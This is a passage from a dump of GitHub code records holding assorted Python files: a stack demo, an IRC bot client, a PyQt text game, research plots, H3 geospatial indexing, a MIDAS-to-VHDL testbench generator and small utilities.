string+str(curr.getData())+\",\";\n\t\t\telse:\n\t\t\t\tstring = string+str(curr.getData());\n\t\t\tcurr = curr.next;\n\t\tprint(string);\n\ndef main():\n\n\tstack = Stack();\n\tstack.push(1);\n\tstack.push(2);\n\tstack.push(3);\n\tstack.push(4);\n\tstack.push(5);\n\tstack.printList();\n\n\tstring = \"\";\n\twhile (stack.isEmpty() != True):\n\t\tdata = stack.pop();\n\t\tif (stack.isEmpty() != True):\n\t\t\tstring = string+str(data)+\",\";\n\t\telse:\n\t\t\tstring = string+str(data);\n\tprint(string);\n\tprint(stack.pop());\n\nmain();","repo_name":"Tumelo4/Stack-IN-PYTHON","sub_path":"Stack.py","file_name":"Stack.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"70"} +{"seq_id":"34198781647","text":"from luckybot.luckynet.protocols.simple import LineProtocol\nimport gobject\nimport re\n\nclass Parser(object):\n\t\"\"\"\n\t\tRepresents incoming data from an IRC server\n\t\"\"\"\n\t\n\t@classmethod\n\tdef parse(self, data):\n\t\t\"\"\"\n\t\t\tParses received data from the IRC server to an object containing all\n\t\t\tsorts of data.\n\t\t\t\n\t\t\t@type data: string\n\t\t\t@param data: The data to parse\n\t\t\t\n\t\t\t@rtype: ServerMessage|ChannelMessage\n\t\t\t@return: A ServerMessage or ChannelMessage object containing all data\n\t\t\"\"\"\n\t\t\n\t\tif len(data) == 0:\n\t\t\treturn None\n\t\t\n\t\tif data[0] == ':':\n\t\t\t# Get all message parts\n\t\t\tregexp = re.compile(r'\\:(.*?) ([a-z0-9]+) (.*?)\\r?\\n', re.I)\n\t\t\tmatch = regexp.match(data)\n\t\t\t\n\t\t\tmessage_from = match.group(1)\n\t\t\tcommand = match.group(2)\n\t\t\tparams = match.group(3).strip()\n\t\t\t\n\t\t\treturn_obj = None\n\t\t\t\n\t\t\t# Check from who this message came\n\t\t\tif message_from.find(\"@\") != -1:\n\t\t\t\t# Message came from a user\n\t\t\t\t# Retreive nick etc\n\t\t\t\tregexp2 = re.compile(r'(.*?)!(.*?)@(.*?)$')\n\t\t\t\tmatch2 = regexp2.match(message_from)\n\t\t\t\t\n\t\t\t\t# Get the channel\n\t\t\t\tregexp = re.compile(r'#([^ ]+)')\n\t\t\t\t\n\t\t\t\tmatch = regexp.match(params)\n\t\t\t\tif match:\n\t\t\t\t\tchannel = '#%s' % match.group(1)\n\t\t\t\telse:\n\t\t\t\t\tchannel = match2.group(1)\n\t\t\t\t\n\t\t\t\treturn_obj = ChannelMessage(data, message_from, command, params, match2.group(1), match2.group(2), match2.group(3), params[params.find(':')+1:], channel)\n\t\t\telse:\n\t\t\t\treturn_obj = ServerMessage(data, message_from, command, params)\n\t\t\t\n\t\t\treturn return_obj\n\t\telse:\n\t\t\treturn None\n\nclass ServerMessage(gobject.GObject):\n\t\"\"\"\n\t\tThis is the base class for a message received from the IRC server\n\t\"\"\"\n\t\n\tsender = \"\"\n\tcommand = \"\"\n\tparams = \"\"\n\traw = \"\"\n\t\n\tdef __init__(self, raw, sender, command, params):\n\t\tgobject.GObject.__init__(self)\n\t\t\n\t\tself.raw = raw\n\t\tself.sender = sender\n\t\tself.command = command\n\t\tself.params = params\n\t\n\tdef __str__(self):\n\t\treturn self.raw\n\nclass ChannelMessage(ServerMessage):\n\t\"\"\"\n\t\tThis class represents a message said in a channel/Private conversation\n\t\"\"\"\n\t\n\tnick = \"\"\n\trealname = \"\"\n\thostname = \"\"\n\tchannel = \"\"\n\tmessage = \"\" \n\t\n\tdef __init__(self, raw, sender, command, params, nick, realname, hostname, message, channel):\n\t\tServerMessage.__init__(self, raw, sender, command, params)\n\t\t\n\t\tself.nick = nick\n\t\tself.realname = realname\n\t\tself.hostname = hostname\n\t\tself.message = message\n\t\tself.channel = channel\n\ngobject.type_register(ServerMessage)\ngobject.type_register(ChannelMessage)\n\nclass Format(object):\n\t\"\"\"\n\t\tThis class can be used to format messages sent to the IRC server\n\t\"\"\"\n\t\n\tblack = 1\n\tdarkblue = 2\n\tgreen = 3\n\tred = 4\n\tdarkred = 5\n\tpurple = 6\n\torange = 7\n\tyellow = 8\n\tlightgreen = 9\n\taqua = 10\n\tlightblue = 11\n\tblue = 12\n\tviolet = 13\n\tgrey = 14\n\tlightgrey = 15\n\twhite = 16\n\t\n\t@classmethod\n\tdef color(self, color):\n\t\t\"\"\"\n\t\t\tAdd a color to a message\n\t\t\t\n\t\t\t@type color: string\n\t\t\t@param color: The color textual name (NOT the number)\n\t\t\n\t\t\t@rtype: string\n\t\t\t@return: The string for the color\n\t\t\"\"\"\n\t\ttry:\n\t\t\tcode = getattr(self, color)\n\t\texcept:\n\t\t\tcode = 1\n\t\t\n\t\treturn \"\\x03%02.f\" % (code)\n\t\n\t@classmethod\n\tdef normal(self):\n\t\t\"\"\"\n\t\t\tReset to the default color\n\t\t\t\n\t\t\t@rtype: string\n\t\t\t@return: The string which resets the color\n\t\t\"\"\"\n\t\treturn \"\\x0F\"\n\t\n\t@classmethod\n\tdef bold(self):\n\t\t\"\"\"\n\t\t\tMake the text bold\n\t\t\"\"\"\n\t\treturn \"\\x02\"\n\t\n\t@classmethod\n\tdef reverse(self):\n\t\t\"\"\"\n\t\t\tMake the text italic (doet not work for all clients)\n\t\t\"\"\" \n\t\treturn \"\\x16\"\n\t\n\t@classmethod\n\tdef underline(self):\n\t\t\"\"\"\n\t\t\tUnderline the text\n\t\t\"\"\"\n\t\treturn \"\\x1F\"\n\t\n\t@classmethod\n\tdef remove(self, string):\n\t\t\"\"\"\n\t\t\tRemove all format in the given string\n\t\t\t\n\t\t\t@type string: str\n\t\t\t@param string: The string where to remove format from\n\t\t\t\n\t\t\t@rtype: str\n\t\t\t@return: The string without format\n\t\t\"\"\"\n\t\t\n\t\tregexp = re.compile('(?:(?:\\x03[0-9]+)|(?:\\x0F|\\x02|\\x16|\\x1F))', re.I)\n\t\t\n\t\treturn regexp.sub('', string)\n\nclass IRCClient(LineProtocol):\n\t\"\"\"\n\t\tClass representing the IRC Protocol\n\t\"\"\"\n\t\n\tnickname = \"\"\n\tinvisible = True\n\t\n\tdef __init__(self, nickname, password, invisible = True):\n\t\t\"\"\"\n\t\t\tSets some vars\n\t\t\"\"\"\n\t\t\n\t\tself.nickname = nickname\n\t\tself.password = password\n\t\tself.invisible = invisible\n\t\t\n\tdef handle_connect(self):\n\t\t\"\"\"\n\t\t\tCalled when the client is connected\n\t\t\t\n\t\t\tThis function authenticates the bot with the IRC \n\t\t\tserver\n\t\t\"\"\"\n\t\t\n\t\tself.send('USER %s %d * :%s' % (self.nickname, 1 if self.invisible else 0, self.nickname))\n\t\t\n\t\tself.set_nick(self.nickname)\n\t\t\n\t\tif self.password:\n\t\t\tself.send_pm('nickserv', 'identify %s' % self.password)\n\t\n\tdef on_line_received(self, data):\n\t\t\"\"\"\n\t\t\tCalled when a line arrives from the socket\n\t\t\tThis function parses the data\n\t\t\t\n\t\t\t@type data: string\n\t\t\t@param data: The received data\n\t\t\"\"\"\n\t\t\n\t\tif data[0:4] == 'PING':\n\t\t\t# Reply to ping\n\t\t\tself.send('PONG :%s' % data[6:])\n\t\t\n\t\tmessage = Parser.parse(data)\n\t\t\n\t\tself.check_message(message)\n\t\n\tdef check_message(self, message):\n\t\t\"\"\"\n\t\t\tChecks the given message object and calls a correspondending\n\t\t\tmethod\n\t\t\"\"\"\n\t\t\n\t\tif isinstance(message, ChannelMessage):\n\t\t\tif hasattr(self, 'on_message'):\n\t\t\t\tself.on_message(message)\n\t\telse:\n\t\t\tif hasattr(self, 'on_command_%s' % message.command):\n\t\t\t\tfunc = getattr(self, 'on_command_%s' % message.command)\n\t\t\t\tfunc(message)\n\t\t\t\n\t\t\tif hasattr(self, 'on_command'):\n\t\t\t\tself.on_command(message)\n\t\n\tdef send_pm(self, nick, message):\n\t\t\"\"\"\n\t\t\tSends a message to a channel or nickname\n\t\t\t\n\t\t\t@type nick: string\n\t\t\t@param nick: The channel or nickname to send a message\n\t\t\t\n\t\t\t@type message: string\n\t\t\t@param message: The message to send\n\t\t\"\"\"\n\t\t\n\t\treturn self.send(\"PRIVMSG %s :%s\" % (nick, message))\n\t\n\tdef send_notice(self, nick, message):\n\t\t\"\"\"\n\t\t\tSends a notice to a given channel/nickname\n\t\t\t\n\t\t\t@type nick: string\n\t\t\t@param nick: The channel or nickname to send a notice\n\t\t\t\n\t\t\t@type message: string\n\t\t\t@param message: The message to send\n\t\t\"\"\"\n\t\t\n\t\treturn self.send(\"NOTICE %s :%s\" % (nick, message))\n\t\n\tdef send_action(self, dest, message):\n\t\t\"\"\"\n\t\t\tSends an 'action' message to a given destination\n\t\t\tLike you use the /me command on a normal IRC client\n\t\t\t\n\t\t\t@type dest: string\n\t\t\t@param dest: The nickname or channel you want to send to\n\t\t\t\n\t\t\t@type message: string\n\t\t\t@param message: The message\n\t\t\"\"\"\n\t\t\n\t\tself.send_pm(dest, \"\\001ACTION %s\\001\" % message)\n\t\n\tdef join(self, channel):\n\t\t\"\"\"\n\t\t\tJoins a given channel\n\t\t\t\n\t\t\t@type channel: string\n\t\t\t@param channel: The channel to join\n\t\t\"\"\"\n\t\t\n\t\tif not channel.startswith('#'):\n\t\t\tchannel = '#%s' % (channel)\n\t\t\n\t\tself.send(\"JOIN %s\" % channel)\n\t\n\tdef part(self, channel):\n\t\t\"\"\"\n\t\t\tLeaves a given channel\n\t\t\t\n\t\t\t@type channel: string\n\t\t\t@param channel: The channel to leave\n\t\t\"\"\"\n\t\t\n\t\tif not channel.startswith('#'):\n\t\t\tchannel = '#%s' % channel\n\t\t\n\t\tself.send(\"PART %s\" % channel)\n\n\tdef set_nick(self, nickname):\n\t\t\"\"\"\n\t\t\tChanges the nickname\n\t\t\t\n\t\t\t@type nickname: string\n\t\t\t@param nickname: The new nickname\n\t\t\"\"\"\n\t\t\n\t\tself.send(\"NICK %s\" % nickname)\n\t\t\n","repo_name":"wiebe/wabot","sub_path":"luckybot/luckynet/protocols/irc.py","file_name":"irc.py","file_ext":"py","file_size_in_byte":6907,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"37151217883","text":"from PyQt5 import QtGui\nfrom PyQt5.QtWidgets import *\nimport main_story\nimport dead\nimport town\n\nclass RunWindow(QWidget):\n def __init__(self,run_type, parent = None):\n super(RunWindow, self).__init__(parent)\n self.setGeometry(450,300,420,420)\n\n myFont = QtGui.QFont()\n myFont.setBold(True)\n myFont.setPixelSize(12)\n\n if(run_type==\"orc\"):\n runLabel = QLabel(\"As the orc enters the dark cave, you sliently sneak out.\\nYou're several feet away, but the orc turns around and sees you running.\",self)\n runLabel.setFont(myFont)\n runLabel.setGeometry(10,0,400,100)\n introLabel = QLabel(\"\"+main_story.Option_Run.option_Run,self)\n introLabel.setFont(myFont)\n introLabel.setGeometry(10,30,400,100)\n else:\n introLabel = QLabel(\"\"+main_story.Option_Run.option_Run,self)\n introLabel.setFont(myFont)\n introLabel.setGeometry(10,0,400,100)\n\n\n chioceAButton = QPushButton(\"\"+main_story.Option_Run.choiceA,self)\n chioceAButton.setGeometry(10,120,300,50)\n chioceAButton.clicked.connect(self.openSub_A)\n chioceAButton.setStyleSheet(\"QPushButton { text-align: left; }\")\n\n chioceBButton = QPushButton(\"\"+main_story.Option_Run.choiceB,self)\n chioceBButton.setGeometry(10,170,300,50)\n chioceBButton.clicked.connect(self.openSub_B)\n chioceBButton.setStyleSheet(\"QPushButton { text-align: left; }\")\n\n chioceCButton = QPushButton(\"\"+main_story.Option_Run.choiceC,self)\n chioceCButton.setGeometry(10,220,300,50)\n chioceCButton.clicked.connect(self.openSub_C)\n chioceCButton.setStyleSheet(\"QPushButton { text-align: left; }\")\n\n def closeEvent(self, event):\n event.accept()\n\n def openSub_A(self):\n self.sub = dead.DeadWindow(\"run_Spoted\")\n self.close()\n self.sub.show()\n \n def openSub_B(self):\n self.sub = dead.DeadWindow(\"run_Fight\")\n self.close()\n self.sub.show()\n \n def openSub_C(self):\n self.sub = town.TownWindow()\n self.close()\n self.sub.show()","repo_name":"llSeeSharpll/python-pyqt-textbased-adventure-game","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":2144,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"28551691473","text":"import sys\nsys.path.insert(0, '../')\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom fastsemsim.SemSim import *\nimport constants\n\nfrom matplotlib.lines import Line2D\n\nimport seaborn as sns\n\n\ndef variability_plot(algos, datasets, base_folder, homogeneity_file_format, suffix, cutoffs, ax, axs_violin, title=\"\"):\n\n ax.set_facecolor('#ffffff')\n ax.grid(color='gray')\n\n homogeneities = pd.DataFrame()\n\n for i_cutoff, cutoff in enumerate(cutoffs):\n df_homogeneity = pd.read_csv(os.path.join(base_folder, homogeneity_file_format.format(suffix, cutoff)),\n sep='\\t', index_col=0)\n df_homogeneity=df_homogeneity.loc[algos,datasets]\n df_homogeneity[df_homogeneity.isna()] = 0\n\n homogeneities = pd.concat([homogeneities, df_homogeneity.mean(axis=1)], axis=1)\n\n if axs_violin is not None:\n df_summary_agg=pd.DataFrame()\n for algo in set(df_homogeneity.index).intersection(constants.ALGOS):\n for dataset in df_homogeneity.columns:\n df_summary_agg=df_summary_agg.append({\"algo\":algo, \"dataset\": dataset, \"value\": df_homogeneity.loc[algo,dataset]},ignore_index=True)\n\n df_summary_agg=df_summary_agg.dropna(axis=0)\n my_order = df_summary_agg.groupby(by=[\"algo\"])[\"value\"].median().sort_values().index\n\n g = sns.violinplot(x=\"algo\", y=\"value\", data=df_summary_agg,\n ax=axs_violin[i_cutoff], order=my_order,\n palette={a: constants.COLORDICT[a] for a in my_order})\n g.set_xticklabels(g.get_xticklabels(), rotation=45)\n\n homogeneities = homogeneities.loc[algos]\n\n\n homogeneities.to_csv(os.path.join(constants.OUTPUT_GLOBAL_DIR,\"homogeneity_summary_{}.tsv\".format(title)), sep='\\t')\n for cur in set(homogeneities.index).intersection(constants.ALGOS):\n ax.plot(cutoffs, homogeneities.loc[cur], c=constants.COLORDICT[cur])\n\n ax.set_xlabel(\"similarity cutoff\", fontsize=22)\n ax.set_ylabel(\"mean intra-module homogeneity\", fontsize=22)\n ax.set_title(title, fontsize=22)\n\n patches = [Line2D([0], [0], marker='o', color='gray', label=constants.ALGOS_ACRONYM[a], markersize=12,\n markerfacecolor=constants.COLORDICT[a], alpha=0.7) for a in algos]\n ax.legend(handles=patches, loc=(0,1.1), ncol=3, fontsize=22, facecolor='#ffffff')\n\n\nif __name__==\"__main__\":\n\n base_folder=os.path.join(constants.OUTPUT_GLOBAL_DIR, \"evaluation\")\n homogeneity_file_format = \"homogeneity_avg_matrix_{}_{}.tsv\"\n cutoffs = [1.0, 2.0, 3.0, 4.0]\n\n fig,axs=plt.subplots(1,2, figsize=(22,10))\n fig_violin, axs_violin = plt.subplots(2, len(cutoffs), figsize=(4 * len(cutoffs) * 2, 10))\n\n datasets = [\"tnfa\", \"hc\", \"ror\", \"shera\", \"shezh\", \"ers\", \"iem\", \"apo\", \"cbx\", \"ift\"]\n algos = ['DOMINO4', 'netbox2_string']\n prefix = \"GE\"\n variability_plot(algos, datasets, base_folder, homogeneity_file_format, prefix, cutoffs, axs[0], axs_violin[0], title=\"GE\")\n\n datasets = [\"brca\", \"crh\", \"scz\", \"tri\", \"t2d\", \"cad\", \"bmd\", \"hgt\", \"amd\", \"af\"]\n algos = ['DOMINO4', 'netbox2_string']\n prefix = \"PASCAL_SUM\"\n variability_plot(algos, datasets, base_folder, homogeneity_file_format, prefix, cutoffs, axs[1], axs_violin[1], title=\"GWAS\")\n\n fig.text(0.01,0.97, \"A:\", weight='bold',fontsize=22)\n fig.text(0.5, 0.97, \"B:\", weight='bold',fontsize=22)\n fig.tight_layout()\n fig.savefig(os.path.join(constants.OUTPUT_GLOBAL_DIR, \"plots\", \"figure_15.png\"))\n\n","repo_name":"hag007/emp_evaluation","sub_path":"plots/homogeneity_plot.py","file_name":"homogeneity_plot.py","file_ext":"py","file_size_in_byte":3576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"13833200452","text":"from states.state_enum import State\nfrom utils.function_selector import FunctionSelector\n\n\ndef get_on_question_displayed(selector):\n def show_answer(*args, **kwargs):\n try:\n for line in selector.load_answer_for_current_question():\n print(line, end=\"\")\n return State.ANSWER_DISPLAYED\n except OSError as e:\n print(f\"WARNING: {str(e)}\")\n print(\"Have you renamed file while program was running?\")\n print(\"Restoring index...\")\n selector.reload_index()\n return State.QUESTION_REQUIRED\n\n function_selector = FunctionSelector()\n function_selector.set_on_command_function(\n (\"c\", \"continue\"),\n show_answer,\n \"Show answer for displayed question\")\n function_selector.set_on_command_function(\n (\"n\", \"next\"),\n lambda *args, **kwargs: State.QUESTION_REQUIRED,\n \"Show next question\")\n function_selector.set_on_command_function(\n (\"s\", \"stats\"),\n lambda *args, **kwargs: State.STATISTICS_SHOWN,\n \"Show last answered questions and other statistics\")\n function_selector.set_on_command_function(\n (\"x\", \"exit\"),\n lambda *args, **kwargs: State.EXITING,\n \"Exit program, save data\")\n function_selector.set_on_command_function(\n (\"?\", \"help\"),\n lambda *args, **kwargs: print(function_selector.get_help()),\n \"Show this hint\")\n\n def on_question_displayed(state, context):\n print(\"\\n---\")\n command = input(f\"Continue? {function_selector.get_hint()}\\n\")\n try:\n return function_selector(command, context=context)\n except StopIteration:\n print(f\"Unknown command: {command}\")\n print(function_selector.get_help())\n return None\n\n return on_question_displayed","repo_name":"Siarshai/ObsidianAnki","sub_path":"states/on_question_displayed.py","file_name":"on_question_displayed.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"28224302334","text":"\ntext = 'HelloOo!'\ndic = {}\nfor i in text:\n if i.lower() in dic:\n dic[i.lower()]+=1\n else:\n dic[i.lower()] =1\nmy_list = list(dic.items())\nfor mx in range(len(my_list)-1, -1, -1):\n swapped = False\n for i in range(mx):\n if my_list[i][1] < my_list[i+1][1]:\n my_list[i], my_list[i+1] = my_list[i+1], my_list[i]\n swapped = True\n if not swapped:\n break\ngo = 1\nwhile(go):\n holy = 0\n for i in text:\n if dic[i.lower()] == 0:\n continue\n for j in my_list:\n if dic[j[0]] == 0:\n continue\n if j[1] > dic[i.lower()]:\n break\n else:\n dic[i.lower()] = 0\n print(i.lower(),j[1])\n holy = 1\n break\n if holy == 1:\n holy = 0\n break\n go = 0\n for k in text:\n if(dic[k.lower()])>0:\n go = 1\n","repo_name":"IsaacYaner/COMPStudy","sub_path":"COMP1531/county.py","file_name":"county.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"7560607254","text":"import cv2\ncap = cv2.VideoCapture(0)\nwhile True:\n ret, frame = cap.read()\n frame = cv2.cvtColor(src=frame, code=cv2.COLOR_BGR2RGB)\n cv2.imshow('webcam', frame)# press escape to exit\n if (cv2.waitKey(30) == 27):\n break\ncap.release()\ncv2.destroyAllWindows()","repo_name":"neamatullah-JRC/Target-jrc0001","sub_path":"JRC CAR FULL/SOFTWARE PART/cam.py","file_name":"cam.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"22530059140","text":"import json\nimport math\nimport h3\nfrom pyspark.sql.column import Column\nfrom shapely import geometry\nfrom shapely.geometry import (\n Point,\n MultiPoint,\n LineString,\n MultiLineString,\n Polygon,\n MultiPolygon,\n)\nfrom pyspark.sql import functions as F, types as T\nfrom .utils import flatten, densify, handle_nulls\n\n\ndef _index_point_object(point: Point, resolution: int):\n \"\"\"\n Generate H3 spatial index for input point geometry.\n\n Returns the set of H3 cells at the specified resolution which completely cover the input point.\n \"\"\"\n result_set = set()\n\n # Hexes for point\n result_set.update(h3.geo_to_h3(t[1], t[0], resolution) for t in list(point.coords))\n return result_set\n\n\ndef _index_line_object(line: LineString, resolution: int):\n \"\"\"\n Generate H3 spatial index for input line geometry.\n\n Returns the set of H3 cells at the specified resolution which completely cover the input line.\n \"\"\"\n result_set = set()\n\n # Hexes for vertices\n vertex_hexes = [h3.geo_to_h3(t[1], t[0], resolution) for t in list(line.coords)]\n result_set.update(vertex_hexes)\n\n # Figure out the max-length line segment (step) we can process without interpolating\n # https://github.com/kevinschaich/h3-pyspark/issues/8\n endpoint_hex_edges = flatten(\n [h3.get_h3_unidirectional_edges_from_hexagon(h) for h in [vertex_hexes[0], vertex_hexes[1]]]\n )\n step = math.degrees(min([h3.exact_edge_length(e, unit=\"rads\") for e in endpoint_hex_edges]))\n\n densified_line = densify(line, step)\n line_hexes = [h3.geo_to_h3(t[1], t[0], resolution) for t in list(densified_line.coords)]\n result_set.update(line_hexes)\n\n neighboring_hexes = set(flatten([h3.k_ring(h, 1) for h in result_set])) - result_set\n intersecting_neighboring_hexes = filter(\n lambda h: Polygon(h3.h3_set_to_multi_polygon([h], True)[0][0]).distance(line) == 0, neighboring_hexes\n )\n result_set.update(intersecting_neighboring_hexes)\n\n return result_set\n\n\ndef _index_polygon_object(polygon: Polygon, resolution: int):\n \"\"\"\n Generate H3 spatial index for input polygon geometry.\n\n Returns the set of H3 cells at the specified resolution which completely cover the input polygon.\n \"\"\"\n result_set = set()\n # Hexes for vertices\n vertex_hexes = [h3.geo_to_h3(t[1], t[0], resolution) for t in list(polygon.exterior.coords)]\n result_set.update(vertex_hexes)\n\n # Hexes for edges\n edge_hexes = _index_shape_object(polygon.boundary, resolution)\n result_set.update(edge_hexes)\n\n # Hexes for internal area\n result_set.update(list(h3.polyfill(geometry.mapping(polygon), resolution, geo_json_conformant=True)))\n return result_set\n\n\ndef _index_shape_object(shape: geometry, resolution: int):\n \"\"\"\n Generate H3 spatial index for input geometry.\n\n Returns the set of H3 cells at the specified resolution which completely cover the input shape.\n \"\"\"\n result_set = set()\n\n try:\n if isinstance(shape, Point):\n result_set.update(_index_point_object(shape, resolution))\n\n elif isinstance(shape, LineString):\n result_set.update(_index_line_object(shape, resolution))\n\n elif isinstance(shape, Polygon):\n result_set.update(_index_polygon_object(shape, resolution))\n\n elif isinstance(shape, MultiPoint) or isinstance(shape, MultiLineString) or isinstance(shape, MultiPolygon):\n result_set.update(*[_index_shape_object(s, resolution) for s in shape.geoms])\n else:\n raise ValueError(f\"Unsupported geometry_type {shape.geom_type}\")\n\n except Exception as e:\n raise ValueError(\n f\"Error finding indices for geometry {json.dumps(geometry.mapping(shape))}\",\n repr(e),\n )\n\n return list(result_set)\n\n\ndef _index_shape(shape: str, resolution: int):\n \"\"\"\n Generate H3 spatial index for input shape.\n\n Returns the set of H3 cells at the specified resolution which completely cover the input shape.\n \"\"\"\n shape = geometry.shape(json.loads(shape))\n return _index_shape_object(shape, resolution)\n\n\n@F.udf(T.ArrayType(T.StringType()))\n@handle_nulls\ndef index_shape(geometry: Column, resolution: Column):\n \"\"\"\n Generate an H3 spatial index for an input GeoJSON geometry column.\n\n This function accepts GeoJSON `Point`, `LineString`, `Polygon`, `MultiPoint`, `MultiLineString`, and `MultiPolygon`\n input features, and returns the set of H3 cells at the specified resolution which completely cover them\n (could be more than one cell for a substantially large geometry and substantially granular resolution).\n\n The schema of the output column will be `T.ArrayType(T.StringType())`, where each value in the array is an H3 cell.\n\n This spatial index can then be used for bucketing, clustering, and joins in Spark via an `explode()` operation.\n \"\"\"\n return _index_shape(geometry, resolution)\n","repo_name":"kevinschaich/h3-pyspark","sub_path":"src/h3_pyspark/indexing.py","file_name":"indexing.py","file_ext":"py","file_size_in_byte":4929,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"70"} +{"seq_id":"30144927435","text":"# Given an integer rowIndex, return the rowIndexth (0-indexed) row of the Pascal's triangle.\n# Optimize your algorithm to use only O(rowIndex)\n\nclass Solution(object):\n def getRow(self, rowIndex):\n \"\"\"\n :type rowIndex: int\n :rtype: List[int]\n \"\"\"\n row = [1] * (rowIndex + 1) # инициализирование первой строки с помощью 1-ой\n for i in range(1, rowIndex):\n for j in range(i, 0, -1):\n row[j] += row[j-1] # добавление соседних элементов для создания следующей строки\n return row\n","repo_name":"Memeladon/MyLeetCode","sub_path":"Recursion I/Pascal's Triangle II.py","file_name":"Pascal's Triangle II.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"13932458761","text":"import midas.file_reader\n\nmfile = midas.file_reader.MidasFile('/home/mu3e/online/online/run00086.mid')\n\nlist_feb0 = []\nlist_feb2 = []\n\ndef get_start(i):\n start_str = \"library ieee;\\n\"\n start_str += \"use ieee.numeric_std.all;\\n\"\n start_str += \"use ieee.std_logic_1164.all;\\n\"\n start_str += \"entity f\" + str(i) + \"_sim is\\n\"\n start_str += \"port(\\n\"\n start_str += \"data_feb\" + str(i) + \" : out std_logic_vector(31 downto 0);\\n\"\n start_str += \"datak_feb\" + str(i) + \" : out std_logic_vector(3 downto 0);\\n\"\n start_str += \"clk : in std_logic;\\n\"\n start_str += \"reset_n : in std_logic--;\\n\"\n start_str += \");\\n\"\n start_str += \"end entity;\\n\"\n start_str += \"architecture behav of f\" + str(i) + \"_sim is\\n\"\n start_str += \"begin\\n\"\n start_str += \"process\\n\"\n start_str += \"begin\\n\"\n start_str += \"if (reset_n = '0') then\\n\"\n start_str += \"data_feb\" + str(i) + \" <= x\\\"000000bc\\\";\\n\"\n start_str += \"datak_feb\" + str(i) + \" <= \\\"0001\\\";\\n\"\n start_str += \"else\\n\"\n start_str += \"data_feb\" + str(i) + \" <= x\\\"000000bc\\\";\\n\"\n start_str += \"datak_feb\" + str(i) + \" <= \\\"0001\\\";\\n\"\n start_str += \"wait until rising_edge(clk);\\n\"\n start_str += \"data_feb\" + str(i) + \" <= x\\\"000000bc\\\";\\n\"\n start_str += \"datak_feb\" + str(i) + \" <= \\\"0001\\\";\\n\"\n start_str += \"wait until rising_edge(clk);\\n\"\n start_str += \"data_feb\" + str(i) + \" <= x\\\"000000bc\\\";\\n\"\n start_str += \"datak_feb\" + str(i) + \" <= \\\"0001\\\";\\n\"\n start_str += \"wait until rising_edge(clk);\\n\"\n start_str += \"data_feb\" + str(i) + \" <= x\\\"000000bc\\\";\\n\"\n start_str += \"datak_feb\" + str(i) + \" <= \\\"0001\\\";\\n\"\n start_str += \"wait until rising_edge(clk);\\n\"\n start_str += \"data_feb\" + str(i) + \" <= x\\\"000000bc\\\";\\n\"\n start_str += \"datak_feb\" + str(i) + \" <= \\\"0001\\\";\\n\"\n start_str += \"wait until rising_edge(clk);\\n\"\n return start_str\n\nend_str = \"end if;\\n\"\nend_str += \"end process;\\n\"\nend_str += \"end architecture;\\n\"\n\ndef to_vhdl(d, i):\n \n value_str = str(hex(d)).split('x')[1]\n \n while len(list(value_str)) != 8:\n value_str = \"0\" + value_str\n\n outfile = 'data_feb' + i + ' <= x\\\"' + value_str + '\\\";\\n'\n if d == 0xe8feb0bc or d == 0xe8feb2bc or d == 0xFC00009C:\n outfile += 'datak_feb' + i + ' <= \"0001\";\\n'\n else:\n outfile += 'datak_feb' + i + ' <= \"0000\";\\n'\n outfile += 'wait until rising_edge(clk);\\n'\n return outfile\n\ncounter = 0\n\nfor event in mfile:\n bank_names = \", \".join(b.name for b in event.banks.values())\n if counter == 100: break \n for bank_name, bank in event.banks.items(): \n if 'PCD1' == bank_name:\n counter += 1\n for d in bank.data:\n if d == 0xAFFEAFFE: continue\n if bank.data[0] == 0xe8feb0bc:\n list_feb0.append(to_vhdl(d, \"0\"))\n else:\n list_feb2.append(to_vhdl(d, \"1\"))\n if counter == 100: break\n\nfile=open('f0_sim.vhd','w')\nfile.writelines([get_start(0)])\nfor items in list_feb0:\n file.writelines([items])\nfile.writelines([end_str])\nfile.close()\n\nfile=open('f1_sim.vhd','w')\nfile.writelines([get_start(1)])\nfor items in list_feb2:\n file.writelines([items])\nfile.writelines([end_str])\nfile.close()\n","repo_name":"uob-mu3e/test_stand_frontend","sub_path":"common/firmware/a10/tb/read_midas_feb_file_to_vhdl.py","file_name":"read_midas_feb_file_to_vhdl.py","file_ext":"py","file_size_in_byte":3252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"23788121184","text":"\"\"\"\ngeneric functions to help spider.py's parser get and deal with data\n\"\"\"\n\nfrom BeautifulSoup import BeautifulSoup\nimport urllib2\n\n# calendar for converting string months to their numerical equivalents\nmonth = {'Jan':1,\n\t'Feb':2,\n\t'Mar':3,\n\t'Apr':4,\n\t'May':5,\n\t'Jun':6,\n\t'Jul':7,\n\t'Aug':8,\n\t'Sep':9,\n\t'Oct':10,\n\t'Nov':11,\n\t'Dec':12,\n\t'January':1,\n\t'February':2,\n\t'March':3,\n\t'April':4,\n\t'May':5,\n\t'June':6,\n\t'July':7,\n\t'August':8,\n\t'September':9,\n\t'October':10,\n\t'November':11,\n\t'December':12}\n\t\n\ndef soupify(url):\n\t\"\"\"\n\tReturns a BeautifulSoup object from the string url.\n\tAlso checks for redirects. If redirected, returns None.\n\t\"\"\"\n\tassert type(url) is str\n\tcontents = urllib2.urlopen(url)\n\t# check for redirect\n\tif url == contents.geturl():\n\t\treturn BeautifulSoup(contents.read())\n\telse:\n\t\treturn None\n\t\t\ndef getID(url,regex=None):\n\t\"\"\"\n\tGets numeric (integer) ID from a string 